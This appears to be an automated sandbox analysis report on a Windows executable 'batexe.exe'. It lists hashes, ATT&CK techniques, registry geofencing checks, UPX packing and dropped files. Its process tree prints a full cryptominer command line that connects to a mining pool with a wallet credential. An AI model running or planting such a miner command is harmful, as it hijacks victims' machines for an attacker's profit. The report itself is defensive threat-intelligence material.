73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
300s
max time network
306s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
11-02-2024 16:49

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	b2e.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	batexe.exe

Executes dropped EXE 2 IoCs

pid	Process
3976	b2e.exe
5700	cpuminer-sse2.exe

Loads dropped DLL 6 IoCs

pid	Process
5700	cpuminer-sse2.exe
5700	cpuminer-sse2.exe
5700	cpuminer-sse2.exe
5700	cpuminer-sse2.exe
5700	cpuminer-sse2.exe
5700	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4192-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4192 wrote to memory of 3976	4192	batexe.exe	85
PID 4192 wrote to memory of 3976	4192	batexe.exe	85
PID 4192 wrote to memory of 3976	4192	batexe.exe	85
PID 3976 wrote to memory of 752	3976	b2e.exe	86
PID 3976 wrote to memory of 752	3976	b2e.exe	86
PID 3976 wrote to memory of 752	3976	b2e.exe	86
PID 752 wrote to memory of 5700	752	cmd.exe	89
PID 752 wrote to memory of 5700	752	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4192
- C:\Users\Admin\AppData\Local\Temp\3052.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\3052.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\3052.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3976
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\3C97.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:752
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:5700

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\3052.tmp\b2e.exe

Filesize
6.4MB

MD5
fc32f7df26cd6e446e27bef5b687f1a1

SHA1
6fd12689c0dd75ca6a9ca331fe9b55b300fb27bb

SHA256
fdc5821932dc77cd00e3dfe193f3ab1911aa7affef13f2b83df8e5184a1c23f4

SHA512
3816b94aa7433ce7c29d0d6ab768e90ae3b991d6909ff04d1bd24a3670a47292b70abd2fe5dc185afe079008da8569197c8d8568190731031fd826fcb494caef

Download Submit
C:\Users\Admin\AppData\Local\Temp\3052.tmp\b2e.exe

Filesize
3.0MB

MD5
080b93f6bc8ca69a1b2347b09a018f46

SHA1
2bb32325439aa396c4ed0f9a69af190befd5866e

SHA256
c677e664f86725d406167bc0b2bc28da5367214e00fbe88da535674bcf861c6c

SHA512
a722a434a463923ac5b56224eabd919c237f2592b81143b6327f951c2402d86dcd008e2b4d981c86cd91ddc5205614a2572716b56ba45a667b18ea5f971630bf

Download Submit
C:\Users\Admin\AppData\Local\Temp\3052.tmp\b2e.exe

Filesize
2.3MB

MD5
3044654acea3f56a238fa3c3d3034eb0

SHA1
d614652ca45417b5ba9afcddf69c519d7cf6649b

SHA256
88307a29cf0f687ec10607de9423d826a3cec4c8001442b05fa8917a7eb1eb2e

SHA512
e6d787daf94cc8f4d766af91916c71153137775d06b04cb4f9bcee04eae0eb70ef61fd50c289eca764d4ac8ae6757689ff5e18692aafad02e5b4ffb0d4a8bee5

Download Submit
C:\Users\Admin\AppData\Local\Temp\3C97.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
721KB

MD5
502c85ed36d3968e7ea91985534f613c

SHA1
32998a4ec186a68c9044d8be2c54ac2e837a155c

SHA256
a893968b884cdf64a21fc4e2e1e70789dabfc02032d058cfffce2704bc5bb57f

SHA512
a87c99679b893851eb0b9a9cb4345a144b9ea009a000f5bdebdcf99d0a3799a08305c6faafa014b8ee4b2e5bd9fd4b8221614032b60c9992db5dddd6cce908e4

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
993KB

MD5
e2c2b962f9e5ee61e77990c7cef90f2d

SHA1
f82487d0ec38991b25a3f45793f417aadc965819

SHA256
74e7cbe6b97a22bd264724e15d04ea52678f1f58f064283b8094df14caa98127

SHA512
7dbf81f8edc470d21f0dc5e69342d6f46b4d069264da79e8787da9d6410824780999f7620e8f96ef63b5b150b0fbfe66eb979565112f91feeb15db5492124e0c

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
779KB

MD5
6a1b551f099b8af499fc292347156934

SHA1
7fd20d0629fbe3714b502fd24866a98cfa1367ce

SHA256
612b2478ab7f9cea4f4b514bdd7365554d8040f4ee380e804ce50ad3552d17c6

SHA512
4e7976ca202a81b06afdecb66bfb87674916a384cfb33959b481d8818fe7acb0aec32cebd8c57943a9c8c94296cfe60205ef3637d6086319a108b7e95149d383

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
583KB

MD5
58b36e048909fdddee4d0ff5ad4f9750

SHA1
3aa71f33d4326a79b16ce4e9e46675f4aab1bd67

SHA256
04ec3668f7c204dcab84688f0bb17b548de350ea582106cd6e30c2f7ca767da5

SHA512
3fbf21e4ccb4ddd39bbbeaed01ea4b56b6c2a583b2f2bff8ef3bcc11529b2994e175c08f7fed819b9ce643dfc5a2f270fc10a8caa336f8774171e5371748b63e

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
472KB

MD5
f08982be3bbfb32aa24bc66cd577fc08

SHA1
4f80424d14a9c5bae5403c20cceb538d276afad2

SHA256
911567eb50208e67e56b79ac778624d0f8a57d9497304db8a7eae196d9b3d989

SHA512
79e60beb1509b4fe3b7c009617882d6ffd6e60d4ef280465b90aa96f9971e58215ec100c8c1266fad3210113127ab9e01998d2e221df5adb9251030a2b16506e

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
664KB

MD5
50d50c280b5a9456c088bf7319f4b2f5

SHA1
3633f0b01192fcc6fdae6bf365836093f161d04a

SHA256
2fd27aa6270ef2c4627fba5d58dda1804085307514fadef5df6a4d58f5586f2c

SHA512
db8e0e8398e1e2dccd6223dba16bcf4ab05365948db43f1f917b40f39129d3c51cfcfc5808d8bff411741c3a72b3ad3c5320831bd76d0a5c283ac9a807efa452

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
559KB

MD5
025d1e1d9c61a36ca02804f208627e7a

SHA1
03d722939ef6be75085b4b7d189f0f5a9675c1b0

SHA256
b4322a6598ad9baa139b3f9fa47971c41ef16667b8a1c709d8305175fc53f1bc

SHA512
a75a0f893e8a149fb830348447cb3231017f35700316da688b934e236a359656a8085b308240e6f6211532fbef6248501c69fc0eb2dc67db4b9c44ff3454d341

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
666KB

MD5
ad96e3bd879c68e27a8c9922050e7ffb

SHA1
8cbfad4d9863cfe8c9df52bb08a706e8a2b0cc60

SHA256
3c7aa58db18b0e171db56348e8305b63dd0ead06c79ac159364e728ebf79392f

SHA512
271fc335eb6728f838f1bd70cf0aa630e123a3751c93b849e45a6495bb070abc9077c9a182674af5eefc34561046d5a4fb5f06a383361fc4f8ad160e57b126f5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
524KB

MD5
73925b71846db6fcea3f2d201ccbff6d

SHA1
7e67b9a25cb2297cb594335a909b551e36e09b5a

SHA256
e28fb7dbd4e78a597b1cea9d3d07577a8998b93696259b7dcedef8e3901c04d3

SHA512
df25ddd6df715da52367b148c54ff6760e4d5b70d9ebb672519ea76b885b6a76671c48cd4966a02afd5eb9c510f6b1265860171092d1bf07babf75517b2027b1

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
810KB

MD5
1fdf88c756aa41cc0db75a75bed58295

SHA1
339d84ab35e39515d2e7d0ddadf90c4f87481656

SHA256
cf5c42296a4748e6342e2e850fa8a0df5cfff87435055ce5adbd1d287df31d72

SHA512
557523c0fc0292c507d711b10ee0af90d6321ba235f8ef085ec26ea37857cf210e5ac1774b96fafad4bd69f42f58c805fa4cf9101c57eb86e7ffab14d28fdc65

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
277KB

MD5
07000ecc7a3974d3b7a8b68060339565

SHA1
9f08941e139910960f23845a0b51a0722f54aecc

SHA256
b7ce76a78fb5a5740e3d32452e7ea9e9c07a2ecde66a0f848aacea3d8a972b57

SHA512
00ae1619aa0bbda10ae299dce3369738c903c42397fc73504cd87740133e8e45a8ce83919768cfaa548b7dc78ed7b2474393120f4b239619bdfe42ea66c3a109

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
396KB

MD5
2f63ca488e36a64d22e63f8dbb58fdfb

SHA1
75201b22f5a995411cb29b7f6c5364da960a49d8

SHA256
e65be922048d10ee740d105b70c00fa877384ec23a8f2dc80dd943b4e9b5ed3d

SHA512
e36d6f7030b277d0296b9620c5cc44c5ad528c71b2947d788ee665458a2234ab110e47c15432f68cffb74c9dc299313aa911832431568984af25310c080bce37

Download Submit
memory/3976-55-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3976-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4192-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/5700-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5700-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5700-46-0x000000006FC40000-0x00000000714F5000-memory.dmp

Filesize
24.7MB

Download
memory/5700-49-0x0000000065FD0000-0x0000000066068000-memory.dmp

Filesize
608KB

Download
memory/5700-47-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/5700-50-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5700-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5700-42-0x0000000000870000-0x000000000092C000-memory.dmp

Filesize
752KB

Download
memory/5700-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5700-48-0x0000000000870000-0x000000000092C000-memory.dmp

Filesize
752KB

Download
memory/5700-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5700-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5700-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5700-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5700-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5700-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5700-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5700-106-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download